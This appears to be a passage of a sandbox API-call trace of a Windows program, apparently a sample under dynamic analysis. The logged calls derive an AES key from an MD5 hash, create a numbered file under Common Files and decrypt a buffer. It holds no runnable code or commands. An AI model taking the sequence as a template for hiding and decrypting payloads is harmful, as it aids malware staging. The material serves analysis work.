[0039.254] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.254] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.254] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0039.254] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.255] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.255] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.255] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.255] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.255] PeekMessageW (in: lpMsg=0xb6216ed60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ed60) returned 0 [0039.256] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0039.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xb62478e50, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0039.261] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0039.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0039.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xb62478c50, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0039.262] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0039.262] CryptAcquireContextA (in: phProv=0xb6216ed50, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xb6216ed50*=0xb62496e00) returned 1 [0039.269] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 1 [0039.269] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216f600) returned 0 [0039.269] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216f600) returned 1 [0039.269] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.269] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.269] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0039.270] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.271] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0039.271] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.271] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0039.271] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.271] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.271] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0039.271] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.272] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.272] PeekMessageW (in: lpMsg=0xb6216e910, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e910) returned 0 [0039.272] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.272] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.272] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0039.272] PeekMessageW (in: lpMsg=0xb6216ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ec00) returned 0 [0039.272] PeekMessageW (in: lpMsg=0xb6216ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ec00) returned 0 [0039.272] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.272] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.272] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.272] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.272] PeekMessageW (in: lpMsg=0xb6216e990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e990) returned 0 [0039.272] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0039.272] PeekMessageW (in: lpMsg=0xb6216e990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e990) returned 0 [0039.278] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.278] CryptCreateHash (in: hProv=0xb62496e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xb6216ea20 | out: phHash=0xb6216ea20) returned 1 [0039.278] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.278] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.278] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.278] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.278] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0039.278] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.278] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.278] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.278] PeekMessageW (in: lpMsg=0xb6216e990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e990) returned 0 [0039.278] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.278] CryptHashData (hHash=0xb62455c70, pbData=0xb62478f30, dwDataLen=0xd, dwFlags=0x1) returned 1 [0039.279] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.279] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.279] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.279] PeekMessageW (in: lpMsg=0xb6216e990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e990) returned 0 [0039.279] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0039.279] PeekMessageW (in: lpMsg=0xb6216e990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e990) returned 0 [0039.279] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.279] CryptDeriveKey (in: hProv=0xb62496e00, Algid=0x660e, hBaseData=0xb62455c70, dwFlags=0x1, phKey=0xb6216ea20 | out: phKey=0xb6216ea20*=0xb62455b20) returned 1 [0039.280] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.280] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.280] PeekMessageW (in: lpMsg=0xb6216ea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ea80) returned 0 [0039.280] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.280] CryptDestroyHash (hHash=0xb62455c70) returned 1 [0039.280] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.280] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.281] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0039.281] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f410, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f410*=0) returned 1 [0039.281] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.281] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.281] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.281] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\" (normalized: "c:\\progra~1\\common~1")) returned 0x10 [0039.281] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0039.283] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.283] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.283] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.283] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.284] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xb6216f4c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xb6216f4c0*=0) returned 1 [0039.284] ReadFile (in: hFile=0x194, lpBuffer=0xb624af910, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f500, lpOverlapped=0x0 | out: lpBuffer=0xb624af910*, lpNumberOfBytesRead=0xb6216f500*=0x10, lpOverlapped=0x0) returned 1 [0039.285] ReadFile (in: hFile=0x194, lpBuffer=0xb624af910, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xb6216f500, lpOverlapped=0x0 | out: lpBuffer=0xb624af910*, lpNumberOfBytesRead=0xb6216f500*=0x0, lpOverlapped=0x0) returned 1 [0039.286] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.286] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.286] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.286] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0039.286] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.287] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.287] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0039.287] PeekMessageW (in: lpMsg=0xb6216eb70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb70) returned 0 [0039.287] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0039.287] PeekMessageW (in: lpMsg=0xb6216eb70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb70) returned 0 [0039.287] PeekMessageW (in: lpMsg=0xb6216eb70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb70) returned 0 [0039.287] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.287] PeekMessageW (in: lpMsg=0xb6216e2d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e2d0) returned 0 [0039.290] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xb62478fb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0039.291] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0039.291] CryptGetKeyParam (in: hKey=0xb62455b20, dwParam=0x7, pbData=0xb6233b1e0, pdwDataLen=0xb6216e338, dwFlags=0x0 | out: pbData=0xb6233b1e0*=0x660e, pdwDataLen=0xb6216e338*=0x4) returned 1 [0039.292] PeekMessageW (in: lpMsg=0xb6216eb70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb70) returned 1 [0039.292] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216eb70) returned 0 [0039.292] TranslateMessage (lpMsg=0xb6216eb70) returned 0 [0039.292] DispatchMessageW (lpMsg=0xb6216eb70) returned 0x0 [0039.292] GetForegroundWindow () returned 0x601e4 [0039.292] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.292] GetCursorPos (in: lpPoint=0xb6216e9d0 | out: lpPoint=0xb6216e9d0*(x=864, y=508)) returned 1 [0039.292] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216e9d0 | out: lpPoint=0xb6216e9d0) returned 1 [0039.292] GetAsyncKeyState (vKey=1) returned 0 [0039.292] GetAsyncKeyState (vKey=2) returned 0 [0039.292] PeekMessageW (in: lpMsg=0xb6216eb70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb70) returned 0 [0039.292] PeekMessageW (in: lpMsg=0xb6216eb70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb70) returned 0 [0039.293] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.293] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.293] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.293] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.293] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.294] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0039.294] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.294] PeekMessageW (in: lpMsg=0xb6216e910, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e910) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0039.294] PeekMessageW (in: lpMsg=0xb6216ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ec00) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ec00) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.294] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.295] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0039.295] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.296] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.296] PeekMessageW (in: lpMsg=0xb6216e990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 